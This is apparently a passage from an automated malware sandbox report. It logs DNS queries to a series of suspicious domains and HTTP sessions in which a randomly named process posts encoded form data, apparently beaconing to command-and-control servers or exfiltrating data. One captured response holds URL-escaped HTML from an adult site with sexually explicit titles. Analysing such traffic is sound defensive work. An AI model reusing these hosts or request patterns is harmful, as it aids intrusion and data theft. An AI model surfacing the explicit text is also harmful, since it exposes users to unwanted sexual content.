Sep 30, 2024 18:45:29.990216970 CEST	65209	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:45:30.088645935 CEST	53	65209	1.1.1.1	192.168.2.5
Sep 30, 2024 18:45:44.181812048 CEST	59037	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:45:44.335098028 CEST	53	59037	1.1.1.1	192.168.2.5
Sep 30, 2024 18:45:57.459255934 CEST	64181	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:45:57.469362974 CEST	53	64181	1.1.1.1	192.168.2.5
Sep 30, 2024 18:46:11.650046110 CEST	50436	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:46:12.226269960 CEST	53	50436	1.1.1.1	192.168.2.5
Sep 30, 2024 18:46:25.622725010 CEST	54554	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:46:25.651401997 CEST	53	54554	1.1.1.1	192.168.2.5
Sep 30, 2024 18:46:39.492805004 CEST	65397	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:46:39.507623911 CEST	53	65397	1.1.1.1	192.168.2.5
Sep 30, 2024 18:46:53.115156889 CEST	60833	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:46:53.167988062 CEST	53	60833	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 18:44:30.263058901 CEST	192.168.2.5	1.1.1.1	0x743	Standard query (0)	www.dxeg.lol	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:44:46.333885908 CEST	192.168.2.5	1.1.1.1	0x6487	Standard query (0)	www.bqberw.vip	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:44:59.490360975 CEST	192.168.2.5	1.1.1.1	0x71cb	Standard query (0)	www.weatherbook.live	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:13.271548986 CEST	192.168.2.5	1.1.1.1	0x1e98	Standard query (0)	www.cc101.pro	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:29.990216970 CEST	192.168.2.5	1.1.1.1	0x65b3	Standard query (0)	www.dverkom.store	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:44.181812048 CEST	192.168.2.5	1.1.1.1	0xe31c	Standard query (0)	www.crowsecurity.cloud	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:57.459255934 CEST	192.168.2.5	1.1.1.1	0x4582	Standard query (0)	www.multileveltravel.world	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:11.650046110 CEST	192.168.2.5	1.1.1.1	0xe517	Standard query (0)	www.technectar.top	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:25.622725010 CEST	192.168.2.5	1.1.1.1	0xb271	Standard query (0)	www.linkwave.cloud	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:39.492805004 CEST	192.168.2.5	1.1.1.1	0x7ee7	Standard query (0)	www.bayarcepat19.click	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:53.115156889 CEST	192.168.2.5	1.1.1.1	0x4c27	Standard query (0)	www.queima.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 18:44:30.568319082 CEST	1.1.1.1	192.168.2.5	0x743	No error (0)	www.dxeg.lol	a22.dxzz.top		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:44:30.568319082 CEST	1.1.1.1	192.168.2.5	0x743	No error (0)	a22.dxzz.top	dxzz.top		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:44:30.568319082 CEST	1.1.1.1	192.168.2.5	0x743	No error (0)	dxzz.top		137.175.33.56	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:44:46.347861052 CEST	1.1.1.1	192.168.2.5	0x6487	No error (0)	www.bqberw.vip	bqberw.vip		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:44:46.347861052 CEST	1.1.1.1	192.168.2.5	0x6487	No error (0)	bqberw.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:44:46.347861052 CEST	1.1.1.1	192.168.2.5	0x6487	No error (0)	bqberw.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:44:59.504785061 CEST	1.1.1.1	192.168.2.5	0x71cb	No error (0)	www.weatherbook.live	weatherbook.live		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:44:59.504785061 CEST	1.1.1.1	192.168.2.5	0x71cb	No error (0)	weatherbook.live		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:44:59.504785061 CEST	1.1.1.1	192.168.2.5	0x71cb	No error (0)	weatherbook.live		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:13.989140987 CEST	1.1.1.1	192.168.2.5	0x1e98	No error (0)	www.cc101.pro		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:13.989140987 CEST	1.1.1.1	192.168.2.5	0x1e98	No error (0)	www.cc101.pro		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:30.088645935 CEST	1.1.1.1	192.168.2.5	0x65b3	No error (0)	www.dverkom.store		31.31.196.17	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:44.335098028 CEST	1.1.1.1	192.168.2.5	0xe31c	No error (0)	www.crowsecurity.cloud	crowsecurity.cloud		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:45:44.335098028 CEST	1.1.1.1	192.168.2.5	0xe31c	No error (0)	crowsecurity.cloud		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:44.335098028 CEST	1.1.1.1	192.168.2.5	0xe31c	No error (0)	crowsecurity.cloud		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:57.469362974 CEST	1.1.1.1	192.168.2.5	0x4582	No error (0)	www.multileveltravel.world	multileveltravel.world		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:45:57.469362974 CEST	1.1.1.1	192.168.2.5	0x4582	No error (0)	multileveltravel.world		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:45:57.469362974 CEST	1.1.1.1	192.168.2.5	0x4582	No error (0)	multileveltravel.world		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:12.226269960 CEST	1.1.1.1	192.168.2.5	0xe517	No error (0)	www.technectar.top		199.192.21.169	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:25.651401997 CEST	1.1.1.1	192.168.2.5	0xb271	No error (0)	www.linkwave.cloud	linkwave.cloud		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:46:25.651401997 CEST	1.1.1.1	192.168.2.5	0xb271	No error (0)	linkwave.cloud		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:25.651401997 CEST	1.1.1.1	192.168.2.5	0xb271	No error (0)	linkwave.cloud		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:39.507623911 CEST	1.1.1.1	192.168.2.5	0x7ee7	No error (0)	www.bayarcepat19.click		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:39.507623911 CEST	1.1.1.1	192.168.2.5	0x7ee7	No error (0)	www.bayarcepat19.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:46:53.167988062 CEST	1.1.1.1	192.168.2.5	0x4c27	No error (0)	www.queima.shop	queima.shop		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:46:53.167988062 CEST	1.1.1.1	192.168.2.5	0x4c27	No error (0)	queima.shop		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dxeg.lol

www.bqberw.vip

www.weatherbook.live

www.cc101.pro

www.dverkom.store

www.crowsecurity.cloud

www.multileveltravel.world

www.technectar.top

www.linkwave.cloud

www.bayarcepat19.click

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	137.175.33.56	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:44:30.590893984 CEST	539	OUT	GET /mxqs/?gHCXmDU=rHSAWCOTv0B2OyWbYMKwkuU+0pm+dYnzeuWywUFjfL0Y5nHDImWR+DkgzCKA2Uf76rKFoLo4oU5TM+FaPt+JwQr3UHywKVmmcKRjYyDIvIOI0clKCIXncFUG+d5lZOlczw==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.dxeg.lol Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:44:31.185806990 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 16:44:31 GMT Content-Type: text/html Content-Length: 18836 Last-Modified: Mon, 30 Sep 2024 16:20:03 GMT Connection: close Vary: Accept-Encoding ETag: "66facfb3-4994" Accept-Ranges: bytes Data Raw: 3c 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 75 66 65 66 66 25 33 43 25 32 31 44 4f 43 54 59 50 45 25 32 30 68 74 6d 6c 25 33 45 25 33 43 68 74 6d 6c 25 32 30 6c 61 6e 67 25 33 44 25 32 32 7a 68 2d 43 4e 25 32 32 25 33 45 25 33 43 68 65 61 64 25 33 45 25 33 43 74 69 74 6c 65 25 33 45 25 75 35 39 32 37 25 75 38 63 36 31 25 75 38 39 63 36 25 75 39 38 39 31 5f 64 78 32 32 2e 78 79 7a 25 75 35 36 64 65 25 75 35 62 62 36 25 75 35 62 66 63 25 75 38 32 32 61 25 33 43 2f 74 69 74 6c 65 25 33 45 25 33 43 6d 65 74 61 25 32 30 6e 61 6d 65 25 33 44 25 32 32 6b 65 79 77 6f 72 64 73 25 32 32 25 32 30 63 6f 6e 74 65 6e 74 25 33 44 25 32 32 25 75 37 37 65 64 25 75 38 39 63 36 25 75 39 38 39 31 25 32 43 25 75 36 34 31 65 25 75 37 62 31 31 25 75 38 39 63 36 25 75 39 38 39 31 25 32 43 25 75 38 39 63 36 25 75 39 38 39 31 25 75 35 32 30 36 25 75 34 65 61 62 25 32 43 25 75 35 31 34 64 25 75 38 64 33 39 25 75 38 39 63 36 25 75 39 38 39 31 25 32 43 [TRUNCATED] Data Ascii: <script>...document.write(unescape("%ufeff%3C%21DOCTYPE%20html%3E%3Chtml%20lang%3D%22zh-CN%22%3E%3Chead%3E%3Ctitle%3E%u5927%u8c61%u89c6%u9891_dx22.xyz%u56de%u5bb6%u5bfc%u822a%3C/title%3E%3Cmeta%20name%3D%22keywords%22%20content%3D%22%u77ed%u89c6%u9891%2C%u641e%u7b11%u89c6%u9891%2C%u89c6%u9891%u5206%u4eab%2C%u514d%u8d39%u89c6%u9891%2C%u5728%u7ebf%u89c6%u9891%2C%u9884%u544a%u7247%22%3E%3Cmeta%20name%3D%22description%22%20content%3D%22%u63d0%u4f9b%u6700%u65b0%u6700%u5feb%u7684%u89c6%u9891%u5206%u4eab%u6570%u636e%22%3E%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%20/%3E%3Cmeta%20name%3D%22renderer%22%20content%3D%22webkit%7Cie-comp%7Cie-stand%22%20/%3E%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3Dedge%22%20/%3E%3Cmeta%20name%3D%22format-detection%22%20content%3D%22telephone%3Dno%22%20/%3E%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3D480%2C%20user-scalable%3Dno%2C%20viewport-fit%3Dcover%22%20/%3E%3Cm
Sep 30, 2024 18:44:31.185832024 CEST	1236	IN	Data Raw: 65 74 61 25 32 30 68 74 74 70 2d 65 71 75 69 76 25 33 44 25 32 32 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 25 32 32 25 32 30 63 6f 6e 74 65 6e 74 25 33 44 25 32 32 6e 6f 2d 63 61 63 68 65 25 32 43 25 32 30 6e 6f 2d 73 74 6f 72 65 25 32 43 25 32 30 Data Ascii: eta%20http-equiv%3D%22Cache-Control%22%20content%3D%22no-cache%2C%20no-store%2C%20must-revalidate%22%20/%3E%3Cscript%20src%3D%22/Tpl/cl/facai/js/cnzz.js%22%20type%3D%22text/javascript%22%3E%3C/script%3E%3Clink%20href%3D%22/Tpl/cl/facai/css/glo
Sep 30, 2024 18:44:31.185849905 CEST	348	IN	Data Raw: 6e 61 76 25 32 32 25 33 45 25 33 43 73 63 72 69 70 74 25 32 30 74 79 70 65 25 33 44 25 32 32 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 25 32 32 25 33 45 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 25 32 38 77 69 6e 64 6f 77 2e 64 68 63 64 Data Ascii: nav%22%3E%3Cscript%20type%3D%22text/javascript%22%3Edocument.writeln%28window.dhcd%29%3B%3C/script%3E%3C/div%3E%3Cdiv%20class%3D%22clear%22%3E%3C/div%3E%3C/div%3E%3C/div%3E%3Cdiv%20class%3D%22head_h%22%3E%3C/div%3E%3Cscript%20type%3D%22text/ja
Sep 30, 2024 18:44:31.185867071 CEST	1236	IN	Data Raw: 71 25 32 30 74 6f 70 74 79 70 65 25 32 32 25 33 45 25 33 43 73 63 72 69 70 74 25 32 30 74 79 70 65 25 33 44 25 32 32 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 25 32 32 25 33 45 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 25 32 38 77 69 6e Data Ascii: q%20toptype%22%3E%3Cscript%20type%3D%22text/javascript%22%3Edocument.writeln%28window.dhcd%29%3B%3C/script%3E%3Cscript%20type%3D%22text/javascript%22%3Edocument.writeln%28window.dhxwz%29%3B%3C/script%3E%3Cdiv%20class%3D%22clear%22%3E%3C/div%3E
Sep 30, 2024 18:44:31.185879946 CEST	224	IN	Data Raw: 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 33 45 25 75 38 62 61 39 25 75 35 39 64 30 25 75 35 39 64 30 25 75 38 64 65 61 25 75 34 65 30 62 25 75 36 37 36 35 25 75 35 65 32 65 25 75 36 32 31 31 25 75 35 34 30 33 25 75 39 65 32 31 25 75 35 64 66 Data Ascii: 3D%22_blank%22%3E%u8ba9%u59d0%u59d0%u8dea%u4e0b%u6765%u5e2e%u6211%u5403%u9e21%u5df4~%u6deb%u8361%u5145%u65a5%u5c0f%u5634~%u706b%u529b%u8f93%u51fa%u6e7f%u6dcb%u5c0f%u7a74%3C/a%3E%3C/h3%3E%3Cspan%20class%3D%22z_s%22%3E%3C/span
Sep 30, 2024 18:44:31.185894012 CEST	1236	IN	Data Raw: 25 33 45 25 33 43 64 69 76 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 63 6c 65 61 72 25 32 32 25 33 45 25 33 43 2f 64 69 76 25 33 45 25 33 43 2f 64 69 76 25 33 45 25 33 43 2f 64 69 76 25 33 45 25 33 43 2f 64 69 76 25 33 45 25 33 43 64 69 76 25 32 Data Ascii: %3E%3Cdiv%20class%3D%22clear%22%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3Cdiv%20class%3D%22col-lg-4%20col-md-4%20col-xs-6%22%3E%3Cdiv%20class%3D%22n_r%22%3E%3Cdiv%20class%3D%22t_p%22%3E%3Ca%20href%3D%22https%3A//xjwj60erdhd1j944a2d6f829h.92
Sep 30, 2024 18:44:31.185909033 CEST	124	IN	Data Raw: 32 30 63 6c 61 73 73 25 33 44 25 32 32 6c 61 7a 79 25 32 32 25 32 30 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 25 33 44 25 32 32 68 74 74 70 73 25 33 41 2f 2f 6d 64 31 34 35 76 31 2e 63 6f 6d 2f 6b 6b 66 37 6c 6d 61 71 2f 69 6e 64 65 78 2e 6a 70 67 Data Ascii: 20class%3D%22lazy%22%20data-original%3D%22https%3A//md145v1.com/kkf7lmaq/index.jpg.js%22%20src%3D%22/images/blank.png%22%20/
Sep 30, 2024 18:44:31.186395884 CEST	1236	IN	Data Raw: 25 33 45 25 33 43 2f 61 25 33 45 25 33 43 2f 64 69 76 25 33 45 25 33 43 64 69 76 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 77 5f 7a 25 32 32 25 33 45 25 33 43 68 33 25 33 45 25 33 43 61 25 32 30 68 72 65 66 25 33 44 25 32 32 2f 70 2f 31 2f 33 34 Data Ascii: %3E%3C/a%3E%3C/div%3E%3Cdiv%20class%3D%22w_z%22%3E%3Ch3%3E%3Ca%20href%3D%22/p/1/34480.html%22%20target%3D%22_blank%22%3E%u5973%u5b66%u751f%u5728%u88ab%u5360%u7528%u7684%u5395%u6240%u524d%u5c3f%u5c3f~%281%29%3C/a%3E%3C/h3%3E%3Cspan%20class%3D%2
Sep 30, 2024 18:44:31.186439037 CEST	1236	IN	Data Raw: 6f 72 69 67 69 6e 61 6c 25 33 44 25 32 32 68 74 74 70 73 25 33 41 2f 2f 6d 64 31 34 35 76 31 2e 63 6f 6d 2f 33 79 79 38 38 64 61 64 2f 69 6e 64 65 78 2e 6a 70 67 2e 6a 73 25 32 32 25 32 30 73 72 63 25 33 44 25 32 32 2f 69 6d 61 67 65 73 2f 62 6c Data Ascii: original%3D%22https%3A//md145v1.com/3yy88dad/index.jpg.js%22%20src%3D%22/images/blank.png%22%20/%3E%3C/a%3E%3C/div%3E%3Cdiv%20class%3D%22w_z%22%3E%3Ch3%3E%3Ca%20href%3D%22/p/1/34478.html%22%20target%3D%22_blank%22%3Emumuq_%u8fa6%u516c%u5ba4%u5
Sep 30, 2024 18:44:31.186454058 CEST	348	IN	Data Raw: 73 25 33 44 25 32 32 74 5f 70 25 32 32 25 33 45 25 33 43 61 25 32 30 68 72 65 66 25 33 44 25 32 32 2f 70 2f 31 2f 33 34 34 35 36 2e 68 74 6d 6c 25 32 32 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 33 45 25 33 43 69 Data Ascii: s%3D%22t_p%22%3E%3Ca%20href%3D%22/p/1/34456.html%22%20target%3D%22_blank%22%3E%3Cimg%20class%3D%22lazy%22%20data-original%3D%22https%3A//md145v1.com/ygokcnfz/index.jpg.js%22%20src%3D%22/images/blank.png%22%20/%3E%3C/a%3E%3C/div%3E%3Cdiv%20clas
Sep 30, 2024 18:44:31.190866947 CEST	1236	IN	Data Raw: 35 34 65 35 25 75 35 34 65 35 25 75 36 36 32 66 25 75 37 33 61 39 25 75 36 65 33 38 25 75 36 32 30 66 25 75 38 66 64 38 25 75 36 36 32 66 25 75 37 33 61 39 25 75 34 65 62 61 25 75 35 62 62 36 25 75 37 36 38 34 25 75 35 63 30 66 25 75 37 61 37 34 Data Ascii: 54e5%u54e5%u662f%u73a9%u6e38%u620f%u8fd8%u662f%u73a9%u4eba%u5bb6%u7684%u5c0f%u7a74-%u5343%u591c%u55b5%u55b5%3C/a%3E%3C/h3%3E%3Cspan%20class%3D%22z_s%22%3E%3C/span%3E%3Cdiv%20class%3D%22clear%22%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/div%3E%3Cdiv%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:44:46.365623951 CEST	797	OUT	POST /ezjb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bqberw.vip Origin: http://www.bqberw.vip Referer: http://www.bqberw.vip/ezjb/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 6f 31 36 4a 2f 4f 48 53 65 51 4f 46 77 62 33 49 77 72 55 7a 46 56 73 61 5a 55 37 37 57 6f 53 62 41 49 54 6c 45 57 61 41 65 38 31 79 65 79 67 66 6b 4f 35 32 75 30 7a 6c 75 61 64 33 5a 77 36 30 6e 57 31 44 43 59 73 67 62 51 6f 76 79 76 4c 61 72 72 70 52 56 30 53 47 62 71 48 33 44 56 6b 39 4e 64 61 59 2f 6c 47 32 78 56 73 77 53 4b 45 63 42 75 48 65 34 53 48 51 46 30 66 50 32 75 59 78 6f 31 46 63 35 6c 32 45 69 72 64 56 4e 55 64 46 4d 55 42 56 6d 65 33 55 69 44 47 46 64 30 77 30 36 77 63 2b 61 54 55 33 44 37 71 2f 62 4b 48 41 46 38 61 6d 77 6d 61 43 77 47 6d 4a 43 2f 6b 54 37 2f 50 66 4e 78 73 3d Data Ascii: gHCXmDU=o16J/OHSeQOFwb3IwrUzFVsaZU77WoSbAITlEWaAe81yeygfkO52u0zluad3Zw60nW1DCYsgbQovyvLarrpRV0SGbqH3DVk9NdaY/lG2xVswSKEcBuHe4SHQF0fP2uYxo1Fc5l2EirdVNUdFMUBVme3UiDGFd0w06wc+aTU3D7q/bKHAF8amwmaCwGmJC/kT7/PfNxs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:44:48.912132978 CEST	817	OUT	POST /ezjb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bqberw.vip Origin: http://www.bqberw.vip Referer: http://www.bqberw.vip/ezjb/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 6f 31 36 4a 2f 4f 48 53 65 51 4f 46 78 36 48 49 79 49 73 7a 4e 56 73 5a 63 55 37 37 59 49 53 6c 41 49 66 6c 45 55 33 64 65 50 52 79 51 79 77 66 6c 4b 56 32 6e 6b 7a 6c 67 36 64 32 48 41 36 2f 6e 57 35 68 43 63 73 67 62 55 34 76 79 76 37 61 6f 61 70 53 61 45 53 41 55 4b 48 31 4d 31 6b 39 4e 64 61 59 2f 6c 54 64 78 52 41 77 4f 71 55 63 41 4d 2f 66 6b 43 48 54 45 30 66 50 39 4f 59 31 6f 31 45 37 35 6e 44 70 69 6f 31 56 4e 55 4e 46 50 46 42 57 73 65 32 2b 2f 7a 48 6b 4e 46 74 4f 69 77 4d 46 61 44 4a 67 61 59 69 47 61 38 71 71 66 65 53 4f 6a 47 32 36 67 56 75 2b 54 50 46 36 68 63 66 76 54 6d 36 5a 39 76 42 65 4f 7a 2f 47 6f 48 65 64 34 72 39 47 51 34 54 4e Data Ascii: gHCXmDU=o16J/OHSeQOFx6HIyIszNVsZcU77YISlAIflEU3dePRyQywflKV2nkzlg6d2HA6/nW5hCcsgbU4vyv7aoapSaESAUKH1M1k9NdaY/lTdxRAwOqUcAM/fkCHTE0fP9OY1o1E75nDpio1VNUNFPFBWse2+/zHkNFtOiwMFaDJgaYiGa8qqfeSOjG26gVu+TPF6hcfvTm6Z9vBeOz/GoHed4r9GQ4TN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:44:51.458947897 CEST	1834	OUT	POST /ezjb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bqberw.vip Origin: http://www.bqberw.vip Referer: http://www.bqberw.vip/ezjb/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 6f 31 36 4a 2f 4f 48 53 65 51 4f 46 78 36 48 49 79 49 73 7a 4e 56 73 5a 63 55 37 37 59 49 53 6c 41 49 66 6c 45 55 33 64 65 50 5a 79 51 45 38 66 6b 72 56 32 39 6b 7a 6c 2f 4b 64 7a 48 41 36 75 6e 57 52 6c 43 63 70 58 62 53 6b 76 7a 4d 7a 61 74 6f 42 53 42 30 53 41 4d 36 48 30 44 56 6b 6f 4e 65 69 63 2f 6c 44 64 78 52 41 77 4f 76 59 63 51 75 48 66 6d 43 48 51 46 30 66 44 32 75 59 64 6f 31 63 42 35 6e 47 55 69 59 56 56 4e 31 39 46 4b 33 70 57 67 65 33 59 38 7a 48 47 4e 46 68 72 69 77 51 34 61 41 56 47 61 59 61 47 57 39 72 64 49 39 43 79 34 45 6d 38 6d 33 69 53 52 49 46 67 69 2f 6a 30 66 55 43 50 2f 66 64 39 48 48 44 62 71 54 50 4a 69 64 68 4d 64 50 4f 48 37 68 66 7a 6e 73 2b 53 44 31 63 75 33 47 30 4d 75 48 62 53 7a 30 38 6e 4c 53 4d 71 46 2f 52 56 48 37 59 6d 55 49 2f 62 62 78 4b 44 74 6c 76 39 49 36 76 58 61 48 5a 49 77 6e 50 41 41 74 59 67 4d 7a 59 30 58 64 7a 59 75 4e 45 2b 77 76 6a 6a 32 62 6b 46 72 55 57 49 2f 55 69 75 4a 4f 38 45 30 56 31 72 4e 66 51 79 76 61 75 4d 6c 73 [TRUNCATED] Data Ascii: gHCXmDU=o16J/OHSeQOFx6HIyIszNVsZcU77YISlAIflEU3dePZyQE8fkrV29kzl/KdzHA6unWRlCcpXbSkvzMzatoBSB0SAM6H0DVkoNeic/lDdxRAwOvYcQuHfmCHQF0fD2uYdo1cB5nGUiYVVN19FK3pWge3Y8zHGNFhriwQ4aAVGaYaGW9rdI9Cy4Em8m3iSRIFgi/j0fUCP/fd9HHDbqTPJidhMdPOH7hfzns+SD1cu3G0MuHbSz08nLSMqF/RVH7YmUI/bbxKDtlv9I6vXaHZIwnPAAtYgMzY0XdzYuNE+wvjj2bkFrUWI/UiuJO8E0V1rNfQyvauMlsNE0WZyykjx+Hy75ukIwsOvc5G2eV29r7ps314XEqAZDilZPmdA8bsXvYZHxHqggrT2aiHt9VxUEgyhxLf3yzYXVXaqk5Q/DC1/qRUERZsqqtPYwTYQ1joXPJyTkPvzOJ1YNUWCBgCgXEmIN3s4NTGLkbxO8Q/o6TxEHJzDPvenOj+0Us2mDVvbNTqEivZGg7H3vwlrnJ1XEqKg09rvy6udSTK4cJhpjqWLzZWSQvzwmF6G+NrS+k8ze/nkrnbO9dsBjgoKxcj6zu2cPiBtxuZlGNXuNpqfsIxLzCu2l0Gf3QTdvnzbdO4YEt5emKzOOHBpx93+Es63Cw+SPxNTAapb+82nbxvjMFyRKPjTAyaX6yvsjfDwFIirbPa7lpLzvNr62KlZGVjYn89n3DQ4mGMZ7QpWrTtclsOp2oSJIZCrAxSbt/IeAkWNWCE6aCl4/YB2RtZSfcHSI0Ry7/e9yCt4zebnFXt9LJ2OgngDKxPc0yKckMwIcJwIPuRLCEnPCtGD+m68b3vyZxvBnTEhWp5SFfzDR9p3wZBRnIKF9NIMgoo9cFX/j0My7zeM+zAGklDKX9SFyz37YrCy/UuuFr/tDTeIbHtIgRnA5VtBITw3tlW5CIr6TpeG0VyAL2qeb1JzGTN2wUvqk/ld9sElIOsgxG8M50forkV3 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

